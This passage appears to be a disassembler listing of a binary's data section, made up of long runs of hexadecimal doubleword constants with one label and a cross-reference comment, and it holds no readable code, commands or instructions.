dd 14CA62B3h, 0B8A3E309h, 0B7C876DAh, 0C90280F0h, 0E9B480D1h
dd 0D53DEA64h, 0F52743C5h, 0DC39F998h, 965CCC82h, 393DC251h
dd 47E45319h, 0E22136Ch, 0A900005Bh, 81721C4Dh, 3AC9CE04h
dd 0E0BE08DCh, 1313AC1Fh, 8FFC74FEh, 0E9585305h, 0B9E4F032h
dd 65115C14h, 39024CBFh, 0CBAC5BCBh, 0AED3D5B7h, 2226B23Dh
dd 1AA3B802h, 2055496Bh, 0E940588Fh, 5CDBC36h, 57432A68h
dd 5A2EB265h, 7CAD6DBAh, 0F404969Ah, 5807084Ah, 92777E53h
dd 0AF54E19Bh, 6674D9E5h, 8E444FBh, 0A15C0AF0h, 0DB36D402h
dd 0A399801Ah, 0F86FEF63h, 5A5E2852h, 40DA90F3h, 0F94CB58Ah
dd 0FCEE27CBh, 22C1802h, 3EB0041Ah, 15FD057h, 0D6F6EEB6h
dd 0AD3FCEFEh, 0E92C77ACh, 0AFBAC845h, 0BF11D037h, 5D6B79DBh
dd 0E9124294h, 3DEBE42Ch, 37B8FC08h, 0F80212B5h, 8159974Fh
dd 0E90421CBh, 743F6A1Bh, 7ED12DEEh, 82570A72h, 7A3EEAC5h
dd 0B8FB0913h, 255DBF03h, 16F81FF2h, 336CEB4Ah, 2781BF52h
dd 0ED464173h, 0B5826ADFh, 0F3E7076h, 13F4CF81h, 758B4E2Bh
dd 4C52BA02h, 4805A6F0h, 152EAF35h, 0E8BC1782h, 2E1BB915h
dd 162CC277h, 3BA2AC41h, 0A1AB165Eh, 0A04B1BADh, 0A27766A7h
dd 2CB27C9Dh, 99D7C909h, 412E4F95h, 255C662h, 0EEB930AEh
dd 88BCAF1h, 0EDA67E71h, 67F96D13h, 29B598A5h, 0BC3AF941h
dd 1348C29Bh, 0EDA1815Eh, 2B60C11Bh, 492FB851h, 804E8AF2h
dd 5266DCACh, 558C683Ah, 19FD2038h, 0F1289FA0h, 0BD805A39h
dd 0E6A99431h, 0E82A4F5h, 24D17478h, 8151E5E9h, 74838F9h
dd 80BCB570h, 74886FE5h, 0CFC1A4h, 0BE0EC42Dh, 16C1946Eh
dd 0C499A150h, 0B805353Ah, 7053151Dh, 0DC8B10BFh, 4F97080Eh
dd 0BCF1E57h, 805502E8h, 43413B0Fh, 4349D7DAh, 616855DFh
dd 52E75F7h, 8A0923E9h, 8CC54019h, 62350212h, 12B60DFCh
dd 416245B7h, 3A49FAE9h, 0A5688571h, 40BFA404h, 4744295Ah
dd 0BE1756AAh, 0FD99681Ch, 0A4F4E706h, 1913A075h, 0FA67C92Dh
dd 7C699500h, 2920032Bh, 225526D7h, 3E438896h, 42257A6Ah
dd 5FB25F78h, 92A9797Fh, 0C0F2B142h, 28025AF4h, 0C3EC80FCh
dd 42ED8B5Bh, 69F17700h, 0B64A8662h, 0F1DB9F90h, 0FC605E96h
dd 9D74BAE9h, 64513390h, 5613145Ah, 4066DA05h, 0C88334FBh
dd 8CB85EA5h, 80BB0BBh, 37A3C673h, 60B70B27h, 14DC1BA5h
dd 57E8290h, 0ED00EE4Ah, 85712F2Dh, 0C108B754h, 1C853A07h
dd 0A8677327h, 0C331C002h, 0A9869FE9h, 43EDFC4h, 0C9FD68F4h
dd 9DDDD9C8h, 0A09BAC0Ah, 1AF7D10Dh, 8526A63Bh, 0E7AAF778h
dd 3C7A4065h, 0A4411B41h, 538AB9D0h, 62BB73FBh, 0AB438DB5h
dd 0CAC5FEA9h, 7817DCE1h, 5C824EE1h, 92CF76A0h, 998EEBE3h
dd 0EADBE90Ah, 1CF7829Ah, 8E29377h, 31E2407Dh, 513F2D5Ch
dd 948035F4h, 0E961113Bh, 2D29965Ah, 0FD48F60h, 89F94C0Bh
dd 14AD0EEh, 3B580CECh, 7B49D1F7h, 535A23D0h, 0E9D40B26h
dd 46D6F071h, 0CBFA5F72h, 6B2BBEBCh, 2D06B008h, 8568F3B0h
dd 9D992AE5h, 82EDEA20h, 17A75977h, 190F118h, 2A4707E2h
dd 0E1AE4B40h, 27E9B8F7h, 9366B58Ch, 0FC20577Ah, 39055493h
dd 0CC504A34h, 2FE10253h, 0DC057070h, 1B8F2546h, 2F07FA08h
dd 0FF65FC92h, 0E63FE904h, 93BF989h, 0AAE2C376h, 0DC6A0055h
dd 3C773948h, 0E2010558h, 44E9320Ch, 6193DE4h, 1F4A5D60h
dd 7C86020Ch, 62E917F4h, 52580868h, 2309D090h, 74509440h
dd 7CE640A4h, 894AA11Ch, 0D61792B8h, 6D29BFFFh, 0B6494BF0h
dd 0F6268BE6h, 93920C59h, 0A2BA17C4h, 1053A337h, 493C614Eh
dd 0B164FE7h, 30372A9h, 290DF224h, 0FC28849Dh, 0A1DF772Dh
dd 6625CBAAh, 77995756h, 4EE91C34h, 990FC572h, 285A0192h
dd 5856005Fh, 525B2C5Eh, 1D31071Ch, 815DA011h, 201246CDh
dd 76000922h, 5F333D53h, 0C002F4E9h, 463FBB56h, 0F0BF2256h
dd 0B3A0B55Ch, 3EC85BBAh, 73F311C0h, 0B7C24A56h, 0E4056205h
dd 0E85001B5h, 0E2ABF4FDh, 0D13B69B1h, 28363865h, 2FAC08C1h
dd 0DAC2E696h, 0B52D0069h, 74B8356Ch, 506E801h, 0FCBFEC52h
dd 2F27A16Bh, 0E98705A3h, 0CAAAD979h, 0CCD913BBh, 0C1406D56h
dd 2CC74A31h, 9C0AC5C1h, 905CD162h, 4912AA0Eh, 49A87D1Ch
dd 171C3408h, 1E32FB14h, 58495E5Dh, 0D9A60917h, 8CA8F197h
dd 0EB79A728h, 7927B80Bh, 0F225055Fh, 0D19C000h, 7D5BA1h
dd 4B48256Fh, 0C82D6068h, 7F7A5800h, 0AE137805h, 9DD1A082h
dd 79642D59h, 8825DD2h, 0B700733Ah, 5E1074Ah, 3FEB9A90h
dd 0BDFBF404h, 12424BFh, 1336DDD6h, 58D43E69h, 9B310816h
dd 0F1833A7h, 8AC8AF26h, 0D2561012h, 0A24C060Fh, 0D26F7768h
dd 0BAB44812h, 5C06C3Bh, 180FA705h, 7BC2211Eh, 0DDF94042h
dd 373A3B2Bh, 4386EA0Eh, 94F6172Bh, 0F42A8971h, 5C9758EFh
dd 0FE5CE44Eh, 0FE1065E2h, 0BD5500D4h, 31A6641Bh, 0ACD55FF7h
dd 0F581018Ah, 75876213h, 0DDBFF940h, 0A5B148A9h, 0C028BE50h
dd 5413B870h, 36B63083h, 890922ADh, 2527EE3Bh, 5AE28DE9h
dd 0EB14C57h, 17B95BDh, 0CA007E5Ah, 35B51A6Dh, 0E9024662h
dd 252F54C1h, 91206544h, 0BBB40520h, 0C307ECC0h, 0F499BC73h
dd 44312EC4h, 9CCAE288h, 0E9ABC296h, 8802B55Ch, 69E35DC1h
dd 585BFAA8h, 5AD02800h, 85E9DC04h, 84D9B48Fh, 0C04032D5h
dd 0E162C5B1h
dword_4F0044 dd 40EE062Dh, 5F876831h, 2F018F61h, 6D1A8034h, 9F417563h
; DATA XREF: ___:004385A4o
dd 0C6204276h, 0C6C73A5Ch, 0B160685Fh, 7EE98AC7h, 3A9A89Eh
dd 4F5F0208h, 501EFE01h, 1BC32CD6h, 3F12EE9h, 1A02E1A7h
dd 0C0B71785h, 13E0412h, 0A5CA313Bh, 9D31D0CFh, 0F552305Ch
dd 7F632549h, 4AF5CF48h, 60350246h, 0BCC14B53h, 293372h
dd 0B5FFB21h, 30850FDBh, 68AEF124h, 0D8994332h, 0A1401E10h
dd 0A6373FB6h, 2DDD5CF8h, 0E73D2807h, 9EF1E05Eh, 360C410Ah
dd 79E850E9h, 5C6D09C7h, 0F1742190h, 45BF08A0h, 81CAE7Ch
dd 5C02FAF7h, 0CC430768h, 0B14C7BC9h, 277C2DEDh, 0D11133F9h
dd 0DE0B68B1h, 120F2B4Ch, 4B1EFE52h, 2F54A232h, 0C2C75E0Ch
dd 0F1AF2568h, 79D829C9h, 3F096CE9h, 4FA61FE3h, 0BA338E4Ah
dd 896A8540h, 9560F60Ah, 0C90B9D53h, 58B9FFD9h, 6A65F153h
dd 6AC63720h, 60337B9Dh, 685B6FBEh, 0C2B43F80h, 0C2CB460h
dd 164E5856h, 487EA15Fh, 0AF50C100h, 0EBF05A68h, 0DE114A65h
dd 0B848F1Ch, 27846259h, 952918B0h, 986CA859h, 55D92E8h
dd 0D676ECC5h, 0EFC1AF0Bh, 482D3845h, 0D6F746C3h, 60894B9Fh
dd 6281E2F1h, 31D22739h, 0E949D83Eh, 0F004955Ah, 4FC35954h
dd 0E8CD4E07h, 92383C6Bh, 0F6F4E611h, 1C05933Ah, 801C601Fh
dd 0E5CA91F5h, 8118F6EDh, 3EA4EA17h, 0C2BACA28h, 0A9AC2DFDh
dd 0AC988164h, 0D4B151C3h, 0DE51DA80h, 0E319C29h, 0E80359C8h
dd 0B1E95266h, 0E7FE701Ch, 0DFBF9EC0h, 0F4786B3Eh, 8C434E9Ah
dd 2C2C74BAh, 67148D8Bh, 1AC1809Fh, 0A0A3D28Fh, 2D0B14A5h
dd 0EE82397Dh, 0D10A2C62h, 0C1C90D1Eh, 2693DE0Fh, 593D4083h
dd 9E982F5Dh, 69F4DB5Fh, 0B83BF50Dh, 6C46806Bh, 27E976B3h
dd 9679F7F8h, 12B8D4E9h, 50CCFC51h, 7DFFE13Eh, 722B0746h
dd 9CB23F30h, 0DDBD00A4h, 267B03Bh, 0F9D2A3BAh, 586AFD08h
dd 0BA52F4E8h, 0AA7BF517h, 4EA7400h, 16EFF281h, 0C03C8D53h
dd 47F452AEh, 62A1384Bh, 36091140h, 294E1A8Fh, 802A6C6h
dd 0A057F6E9h, 7168E6AAh, 622B9C1Fh, 0C6574742h, 0AE54ACCh
dd 2974B27h, 38035B66h, 0C293E97Fh, 0B3108A25h, 27D2D58h
dd 5110D229h, 98DD7868h, 638FE9E7h, 2623F95Eh, 1BD15793h
dd 2FE37E9Fh, 28A82779h, 2B125345h, 0BF4F21F8h, 80874438h
dd 0B9A25BE9h, 0BE19D37Fh, 0DCEA56A5h, 0C708165Ch, 28B800A1h
dd 2D27582Fh, 4A10500Fh, 955AE5CFh, 40DACEBFh, 0BD626A1h
dd 0A0BB52BAh, 2313D366h, 50AE323Dh, 5826087Ah, 31830885h
dd 0E2EC5417h, 7C279C02h, 0B470F73Ah, 1A810326h, 77F14300h
dd 0C06E54E9h, 26946883h, 5F6020DAh, 46562B8Ah, 0D50CC306h
dd 9EDE0E2h, 0AF7DE6A6h, 0ABA8966Eh, 3FC29E89h, 92BADF63h
dd 5953F16Ah, 0F89C77E9h, 0D91E5D05h, 0D701F709h, 7FA0E9D6h
dd 1E571EA5h, 0CB44D36Ch, 52EA4F27h, 93CDA2FAh, 0F5D84509h
dd 49253F64h, 0F9D41832h, 27D48291h, 1002068Ah, 1E98D7A5h
dd 23B911B6h, 0E285992h, 51622C68h, 6182C001h, 0D1256C6Dh
dd 2FFF8E6h, 4414BD55h, 166232F1h, 4DB51DD0h, 0C6A53E18h
dd 0FD68DF79h, 2C6D1F02h, 0E8E0DF0Dh, 2ED0CE01h, 0BFE9170Bh
dd 9AAAAA56h, 3DAE4E5Fh, 0AE59554Bh, 984E618Bh, 302F6896h
dd 0C918D116h, 9027599Eh, 5B07AE3h, 344484Ah, 0F641AB29h
dd 2A1F705Ah, 68AA52Fh, 17801C08h, 0F64B78E9h, 0EAD465AEh
dd 3230FC8Dh, 69A0BE06h, 0AF9985Dh, 0BD5EBA53h, 272560D2h
dd 15DCEECFh, 7D4FB568h, 0D02EE4Fh, 0B3515BD8h, 0F1C7E3FFh
dd 7D8E9FDh, 63549601h, 68A0C8BEh, 0E916092Ch, 0E490602Eh
dd 4E811A21h, 58AED46h, 6811A214h, 0A9E9AC42h, 0F5145F31h
dd 360BF60Bh, 5FA34191h, 0F54A548h, 5251700Ah, 5C2EDA61h
dd 0CAE2301Fh, 9E6FC800h, 6E2C14Dh, 0B6F178E9h, 13DF83E4h
dd 16D96CCBh, 0A6A324F8h, 59D12900h, 0E845F12Dh, 5D353E7Ah
dd 21A16105h, 604DF3C3h, 135E4BC8h, 0B81CD863h, 71B5D58Fh
dd 0F09DE5FDh, 660E5B80h, 4EFC8850h, 18E28FD7h, 0B574203Ch
dd 0EBCE00A5h, 3AD40327h, 7EA01AAAh, 0A97F9D57h, 0C245963Ch
dd 0C0DD09DEh, 0F119CD9Ah, 4B730B7Dh, 166EE6CAh, 9D20E0BDh
dd 6E7A6F4Dh, 57226619h, 0F1F61B94h, 0F7B5E02Fh, 92279FD2h
dd 224790E0h, 1995D101h, 806E4934h, 0F67BB5CEh, 6DCF2926h
dd 47D97F5Ah, 7855562Fh, 0E04928E9h, 71F70357h, 120A45Ah
dd 330699Ah, 61FA2974h, 5F08021Dh, 0FF57C855h, 6BB5246Ah
dd 0EF688B2Ah, 0E2C57274h, 4FC298B4h, 10D1B158h, 2B52E964h
dd 0EE2DDDBAh, 200474E7h, 0BB2F8E5h, 91BAE96Dh, 0F642B5FBh
dd 71A457F1h, 83C48255h, 80E35D05h, 2ED7F14Bh, 80EE1C09h
dd 0DC22FB7Bh, 0BDCEF44Ch, 294BB216h, 3BAC0871h, 6EF9DD2Fh
dd 10055CB6h, 804C600Bh, 0EA1FDAFFh, 3E0B0D5Ch, 1560FF22h
dd 0CD04AC0Ch, 5F9FA2ABh, 314DD502h, 0D5105E05h, 622C05CBh
dd 56E01FA0h, 0C5994E68h, 81B2AF4Eh, 0A8FC56CBh, 0C19110EBh
dd 92A1B968h, 1651095Ah, 0A2BD5CE0h, 6EA3170Bh, 8EBAF09h
dd 0D3B80144h, 0E82AF51Ch, 0D9B412C6h, 23C50BEBh, 92C5892Eh
dd 9AFD93EBh, 0C9EDF44Bh, 3D6BC655h, 941732E9h, 741FA6Fh
dd 62D6452Bh, 14CECB30h, 0CF6E0E3Bh, 9961E304h, 0BDD1FA73h
dd 382E52B8h, 0D705F7F9h, 2231E956h, 683F20AAh, 0EA835306h
dd 5C1E69D7h, 0B5849D7Ch, 8567BA1Fh, 0DE3B35A2h, 536260CBh
dd 0B0B561D6h, 88C68455h, 310B6AF7h, 0F591A08h, 0BB672325h
dd 0BAF9D2E3h, 95CEC154h, 355E0473h, 0BAF9D5A1h, 0C2311D46h
dd 0BCCC5EF8h, 8E56DE4Ch, 13B26AA0h, 21EA28B7h, 4F5152Bh
dd 687D80EFh, 0C59D712Fh, 2CFA4E4h, 74A36632h, 169DD9C0h
dd 0F02D2927h, 81B2749h, 0A22C5471h, 0F0878807h, 51EED0D2h
dd 34A84E7Ch, 78C5BF00h, 268153D9h, 148989CFh, 3902E93Ah
dd 293D866Fh, 288A8F69h, 0AA85EB3h, 0B4DBB84Eh, 7D848094h
dd 36F901FBh, 2C0AB2A1h, 50665DEh, 5D7A3782h, 0C78907E7h
dd 4A145D02h, 4ADC4C9Fh, 9828AB5Fh, 84152C1h, 555A6070h
dd 5330ABEDh, 0DAF32D4Fh, 3C190202h, 0E05F4D44h, 394BC56Bh
dd 29107184h, 179E40EEh, 0E2CD10F5h, 1ED83033h, 9EFFD32Ch
dd 7EE9E40Bh, 271B5A86h, 9075EDFAh, 1D0D34DCh, 895F731Ah
dd 2AD436B9h, 9D1D3566h, 0F1530041h, 4A5068FBh, 0ABD663FCh
dd 2342AA20h, 806A4A68h, 67A1C903h, 41479616h, 0E87AD5FCh
dd 4B087044h, 4DA2A80Dh, 0A6FAC411h, 0C542C9E4h, 0F8A4F015h
dd 8BACD16Bh, 0A384A23Bh, 15B05CAh, 927F099Bh, 460D3073h
dd 726A3313h, 0BC4F1EA8h, 88746055h, 27B4C275h, 745DD01h
dd 0D849D827h, 6C82D606h, 50C077F0h, 1CF31BD0h, 9D4172E9h
dd 4B074759h, 0EBBFEBD1h, 67BF10BDh, 0E58127D0h, 472DFCF8h
dd 20175A88h, 27CB11F5h, 0BB07675h, 36DD425Fh, 1D7CB5B2h
dd 4DE25892h, 1AD98CC4h, 5D882B86h, 5AD011B0h, 0E8EDF497h
dd 0F4AA091Fh, 0D327B3D7h, 493E63Dh, 8EE1D2EBh, 1039ACFEh
dd 5725C947h, 1422D40Eh, 0A7FE4A65h, 0C9A10720h, 0C45FC6F7h
dd 0CCD7806Eh, 7AF282C9h, 1E7FE40Ah, 51AF8C69h, 2AB50180h
dd 0D9C17103h, 0FD183004h, 75CFF32Dh, 8F678602h, 2573EBC4h
dd 0C062E61Ch, 0F64203DEh, 60F0288Eh, 820FE056h, 7F392B61h
dd 8EF90331h, 647BCA6Eh, 83FA5A1Fh, 232D5939h, 56B954E0h
dd 80F9669Fh, 538B6BFh
dd 0E2C10D1Dh, 0BB8E0208h, 0E2F0E67Eh, 0ADC8BF0Bh, 2FE77C25h
dd 0BD100F84h, 0E2EB015Eh, 294AE448h, 804DB65h, 0BE5A64BFh
dd 0D143590Bh, 7EBE87D6h, 8150E439h, 2BF4C2Dh, 0E348FD5Eh
dd 681F11F7h, 0E6CB372Bh, 528A6858h, 8E1C893Eh, 415150C2h
dd 612CDFB0h, 0C8ADA12Fh, 0A8945AF5h, 85EC696Fh, 0DCBCB82Eh
dd 7FD00500h, 0B42D31F1h, 7BD14F0Fh, 0C3026148h, 13608CC2h
dd 0F02F396Ah, 40FEED5Ah, 20F35808h, 0EA5FA631h, 385A59E4h
dd 9EC83521h, 0FD82Fh, 0B50A866h, 6FC5FD4Bh, 94D1DDBAh
dd 0C5570Fh, 3A4B4F2Ah, 495EE950h, 0CA840498h, 0A3241F54h
dd 0C94E4810h, 79FC40EDh, 770BB12Ch, 79C244E9h, 5BDA426Ah
dd 0E9E809BAh, 1C53EA68h, 0AFA940ACh, 45C38825h, 9A043C40h
dd 940AD568h, 0A460845Ah, 6178C15h, 6C001BB8h, 40A3482Fh
dd 0BE7FA47h, 116123A5h, 43014F05h, 495C5D5Ch, 5BDF3198h
dd 95BAD0B7h, 554091C4h, 2677B168h, 0BDFEA65h, 0D9A54DBFh
dd 786AC142h, 6C7E3025h, 51056507h, 0F7D04464h, 30F35D8h
dd 2D18AB1Dh, 0FEE3F121h, 3A58C5A1h, 4A43B4B4h, 2E6B36Eh
dd 534BBFC3h, 8806C270h, 880A0878h, 0C942CE03h, 84E4710Eh
dd 0C7A73237h, 0D103254Dh, 7BCAB0C8h, 1C864CE0h, 0C7C9CE80h
dd 0D9E9CFC6h, 0FE2EE8DAh, 1E0BE35Fh, 9801E820h, 517F862Ah
dd 0D1D4552Ch, 77D2029Dh, 29B100AFh, 2B7A05D0h, 0A32BA2Eh
dd 2B5565Ah, 75D07CD7h, 4A0EAC5Ch, 0E94E8187h, 6797419Ch
dd 3225AFE1h, 2A85E3AFh, 6816F80Eh, 0C2605F45h, 13F819CEh
dd 0EA3CE97Fh, 18F54890h, 1A674C29h, 80072D28h, 0B1A93F9h
dd 0D3F776CBh, 0E1821176h, 56BFBD0Bh, 92E9065Eh, 31586437h
dd 0E8D1000Ah, 8715E505h, 0B72D042Eh, 0C061C1CBh, 911E75C2h
dd 0C77063B5h, 6C25082Ah, 0E2E91630h, 9572900Ch, 25637C76h
dd 115D26Ah, 0D3DEB19h, 925E27E0h, 420C7394h, 0F2B1A18h
dd 2978433Ah, 80D1C9Ah, 0C014041Ch, 1C26C0C5h, 4027285Ch
dd 2C5B07D0h, 54B5B232h, 0AE4F2C88h, 407D5291h, 82C95311h
dd 0A5DF65FDh, 0DCAF9A5Eh, 77FF8B35h, 92DCF705h, 0EA445F1Dh
dd 0B5763A80h, 73349B5h, 83C61F78h, 0F63CFD30h, 6BBD83F9h
dd 0A2725B2Dh, 0F0085571h, 0BA5E1607h, 38E99742h, 5FAAF244h
dd 3C8E80FFh, 0C60F237h, 665ABC4Ch, 97F09758h, 0FA06C65Bh
dd 4FF9F931h, 4129A25Fh, 6B72DDDCh, 0AC689E81h, 43D983Eh
dd 0C0AF4996h, 4C457429h, 5C2A7441h, 68EEA0DDh, 1C5B5597h
dd 79DA2A84h, 0FFAB055Eh, 0C95BFE23h, 0A52FBB98h, 0F82B76h
dd 9206E9C4h, 295C5DBFh, 5AE5BE39h, 16A17FB0h, 0FCC987B7h
dd 7BB14F69h, 0D02A5B65h, 0BE3EF7B1h, 0CC9F797Bh, 0B219D22Eh
dd 0C209D1E7h, 0C80925E9h, 121F3D53h, 9591034h, 0AF54DFFEh
dd 2501CF27h, 0F1A427E8h, 0D14BD7B9h, 7E0E0906h, 0A3761E7Fh
dd 93F02C20h, 476A02EDh, 0D15037E9h, 0CFC6816h, 1CA247FDh
dd 9DD21857h, 5D31007Eh, 8167BD55h, 0B2DEA2CEh, 37C464C1h
dd 6A82E901h, 4A2C65E4h, 83A8D25Dh, 0F44DB09Eh, 94C84CCFh
dd 0B481F933h, 357EBB58h, 3CEB0AF3h, 175EE9F2h, 85D79CA8h
dd 10AFAC43h, 0A44A5AA9h, 0C441D26Bh, 74F72747h, 0E0541638h
dd 607A3755h, 4AB0655Ah, 411B7D2Dh, 16E13978h, 75FBE4E5h
dd 68C220ACh, 851D0F6Fh, 23925B4Fh, 0FD61CCEFh, 0FD94C65Bh
dd 8508C1AAh, 0C1D754E0h, 515DE11h, 50B90109h, 0FA892E83h
dd 0C5AA1841h, 0EC743058h, 0E388591Fh, 43C3C853h, 38C9E835h
dd 40AAF4F2h, 0EB4C010Eh, 37DE045Ch, 0B7C469FDh, 9F587BB0h
dd 6B4ECCF9h, 28287BE3h, 4CA7127Bh, 8C88BE52h, 0DF99AAE1h
dd 0F56B1E59h, 0EEE9D730h, 0F7258B9Fh, 6295781Eh, 0AB364039h
dd 9246B711h, 0D105BE08h, 0C753CB1Bh, 2D05722Dh, 2D2CDB4h
dd 31088409h, 0F2D1520Ah, 0C83E162Eh, 7049EECAh, 5BD6408Fh
dd 0A8D64F29h, 7931B767h, 9E400296h, 4C3F1505h, 2C047DC4h
dd 0A001BC62h, 804FFC0Bh, 0C8433F2h, 361F1D86h, 11121A16h
dd 398F36E9h, 0F9E90CB0h, 6E800AC0h, 0F5614EF3h, 705BDE88h
dd 0D8BDC71Ah, 30EE202Fh, 0F7409774h, 0B3CB5FA3h, 5901933Bh
dd 0EF07C73Eh, 11F94F3Bh, 2959FDE2h, 78136503h, 8850142Ah
dd 532DBDDCh, 45DF6142h, 0B85C6687h, 0F19D46B2h, 0B59D6390h
dd 5FC63B06h, 5D32E275h, 0FC4B18A4h, 2DE8F505h, 4870548Eh
dd 736B0016h, 7FBD1048h, 501726D6h, 247A25C8h, 929D8679h
dd 2F90DA69h, 0CE64555Ah, 0BB266E09h, 0D3A85703h, 5EBD2808h
dd 0D5EDE977h, 98ECA552h, 0ABF40A89h, 15C28002h, 2CBC5CFEh
dd 0F1AE08E6h, 29FF427h, 6D5D43EAh, 3A092FF4h, 0F61994D6h
dd 0E8CE5EA0h, 562E8415h, 0FAD7C416h, 5D895A77h, 0C52D9747h
dd 0C3F897BAh, 8CF487A2h, 9BF7C4Dh, 0FFE56F6h, 0CA4446D8h
dd 0DB0112D2h, 64AE4E09h, 0F7459C40h, 57CF4FA6h, 4E25C33Fh
dd 7B3455E1h, 0FDE044E2h, 33FD4B68h, 57501ECBh, 0C5100B8Eh
dd 0F1A95F6Bh, 97EAFF00h, 4761E97Ah, 1029D997h, 61F15FA9h
dd 850DF33Ah, 0CDABC942h, 0CCE32FB5h, 0B740203Dh, 0E7D06700h
dd 0C0A8C780h, 0A1065BEFh, 3A7ED57Fh, 152833E0h, 0C221E9D1h
dd 0E263F84Eh, 384525Ch, 5461D30h, 0A5FDFF52h, 0B6D215EDh
dd 5EF01750h, 4A1862AAh, 8B7789E2h, 7208FC01h, 3334B455h
dd 0ED1713BFh, 8FBD09A8h, 0D180F298h, 4E30E9DDh, 56CE21D3h
dd 622255Ah, 2B18FE78h, 460C6129h, 1662D4Dh, 33105650h
dd 70054EFh, 21AED59Fh, 1F32E9F7h, 60084ACDh, 3EB75322h
dd 968080ACh, 0E7C0C7FEh, 6C2EE902h, 7D523C37h, 617B0169h
dd 8B6C2C35h, 0D8255F02h, 5A89B4D7h, 0FA5A0EDEh, 90DADF08h
dd 0A30D6D09h, 5A9D67Fh, 8040D0h, 0C11B5985h, 0FD4C0119h
dd 29084010h, 928560F1h, 0C2E0F582h, 7D37F181h, 51E20A55h
dd 0CEE3414Ch, 7F04B62Fh, 1BEE0502h, 46012568h, 0D4E5F932h
dd 425E0898h, 757B72F6h, 97E9E9A8h, 1228D85Eh, 0ACE5D7B2h
dd 0FD8B4A52h, 2A3D9D01h, 7CF4E941h, 2D5A16D1h, 0E8ED02F5h
dd 0ECBE423Ah, 4AD68945h, 35667102h, 0D87E0C4Bh, 0AB417A4Eh
dd 2D770364h, 2DCFC270h, 0E0098E65h, 0B65DBBABh, 4BE91231h
dd 0B264EEA5h, 77393DC6h, 0E73420E2h, 5057AD1Fh, 0EE4049D3h
dd 80D1B252h, 3BCB73F2h, 0EA007ACAh, 0E9D4287Ch, 0C4C6E605h
dd 6144F9F6h, 5A3CD3D2h, 0FC4EC76Ah, 58014EA0h, 0E9B362EAh
dd 17C8C0E2h, 391E55F3h, 6D31AA1h, 0BD4E51B8h, 0C1618446h
dd 4AB031BFh, 0D55E0253h, 0F799C616h, 0B73419C0h, 2473B840h
dd 170F5397h, 0D1160021h, 144C68EBh, 2662ED96h, 558BAB93h
dd 0E1E06404h, 0EB321293h, 54CBACF5h, 9407561h, 6B41E93Fh
dd 9702A0F2h, 1657006h, 2FF0E2EEh, 0B081BD93h, 83124661h
dd 66B88545h, 181F6750h, 6011F25Eh, 353067F0h, 0B130C70h
dd 0A154F7Dh, 3408C35Dh, 0A914160Ch, 8AEA9231h, 0C3C612E3h
dd 1338B0A4h, 11E3625h, 4C60AA24h, 101A4A3Fh, 680AFE6Eh
dd 8EC86231h, 0A2136AD6h, 3F8590FCh, 2A71721h, 0CE807CC5h
dd 4076A20Ch, 5C37E92Ah, 0EBDE61F4h, 9D13F0A5h, 8E4212AEh
dd 0CB414E4Ch, 0EF6C978Fh, 0DB5D844Dh, 0C859912Ch, 137C01C4h
dd 4818AD8h, 2F0F38C1h, 0AE50AB6Eh, 8D5B2408h, 5904B110h
dd 0FA63A068h, 2512DA9Bh, 9358B675h, 76A28A56h, 2B6468C3h
dd 18564510h, 0FBCA0112h
dd 4E8EBBCCh, 0D31FB85Eh, 97FD26AEh, 0DE37AC97h, 1D4FE83Eh
dd 9CE94B15h, 1AF52D2Ah, 0F3F15589h, 16FE4F16h, 2D2DAE1Ah
dd 9F083CFCh, 0CF79820h, 0DEE811D9h, 813AF497h, 9F5F468Dh
dd 0DDE00731h, 149CD87h, 595D5155h, 8006E5C1h, 0FE219440h
dd 4E10E915h, 0CBF6B44Fh, 5441497h, 0B168E3D1h, 785A352h
dd 4446F0B9h, 7217687Bh, 16ED8359h, 0B681BF1Dh, 3D9758DFh
dd 1A52FAC6h, 0E9F021BCh, 43820174h, 0A3408BF7h, 0F1BBD954h
dd 82D2F32Fh, 73534168h, 87C42D9Dh, 0E8F3BC2Eh, 0CF2077BBh
dd 0E876E97h, 0FA0585D3h, 412A993Ch, 53E416Fh, 90BB0012h
dd 0FC9132F3h, 0E09A914h, 0B82FC289h, 0CE715F8Ah, 88CF6ADh
dd 0B8036EE5h, 0D0C16B36h, 134680Dh, 142D01EAh, 0D71AB37Ch
dd 393803D0h, 0A13BE916h, 81C5E1FDh, 80ABCCDFh, 6662C577h
dd 0DDD14B60h, 0F0401444h, 0AC7ABB5Fh, 64060820h, 63ED8003h
dd 0F7059AC0h, 4D835643h, 0BD0E6711h, 0EEA1894Eh, 0A0D98B42h
dd 2439AB6Fh, 0DDF85699h, 40175D79h, 11A0BD00h, 0EE892B9Ch
dd 8BF5BB7h, 880B6563h, 0F1FE3BCFh, 0BA28BEF5h, 5A24558Fh
dd 852D90B8h, 0A0B89061h, 5394CF6h, 0CD211DD2h, 0EB7B86CDh
dd 2E71807Ah, 7E4CFA65h, 111B0571h, 96FC2CECh, 0A96BD655h
dd 0B3EEE474h, 7A688268h, 0C0987D62h, 0C082F5DDh, 0BF5FF8F8h
dd 243FB9D9h, 2D819BEAh, 0B51226Fh, 895AEF9Fh, 0D045DECEh
dd 0D829933Eh, 2E2861BEh, 0FB738292h, 7DD9095Fh, 5E951816h
dd 77C8FAA0h, 3D39537Dh, 2EF8CA16h, 0A0E16884h, 0F6B589B3h
dd 0D9BE58F4h, 308B0B00h, 0D26318B9h, 0F101271Eh, 5A2785C5h
dd 7EF309C9h, 3E80035Ah, 0CB3C1CB9h, 942DB2B8h, 0E4A666F6h
dd 726B9CD4h, 0D451B924h, 19E500BBh, 8738A535h, 0F755EA10h
dd 810E5D30h, 0CA16E3F2h, 0AC4C75Ah, 0F89162AAh, 5BAD2A71h
dd 59056982h, 0BAFD9022h, 5C252E60h, 3E4B7C3Ah, 3CED59FEh
dd 6035DED8h, 41224017h, 70260A07h, 0B85018F0h, 887203FCh
dd 1F25480Fh, 0E9134090h, 88E16B2Eh, 460FD3A8h, 8698C69Fh
dd 3B78C2DBh, 71974840h, 0EB4040E1h, 1CED61BBh, 36E50B7h
dd 76236935h, 0D1C0F732h, 8327E9E8h, 36C2C844h, 30D33D27h
dd 44F24798h, 0EBE4C588h, 25C6594Ch, 6D2555D8h, 6477E00Ch
dd 820214C9h, 7158BFBCh, 0BBB739B0h, 5922C244h, 5F347E4Ch
dd 0A5A81AFDh, 3F3BF84Fh, 0E3245F78h, 0A038A2EFh, 0BADC23E9h
dd 0EF554E1Ah, 36DF9D27h, 84B709B8h, 41FE1A90h, 3D67DB10h
dd 74CB0110h, 8D207041h, 0D6360F4h, 0B23FB353h, 0DA28081Fh
dd 76C32D49h, 0FEAFD80Eh, 9F0459BFh, 0A62BE42Eh, 5F080BCDh
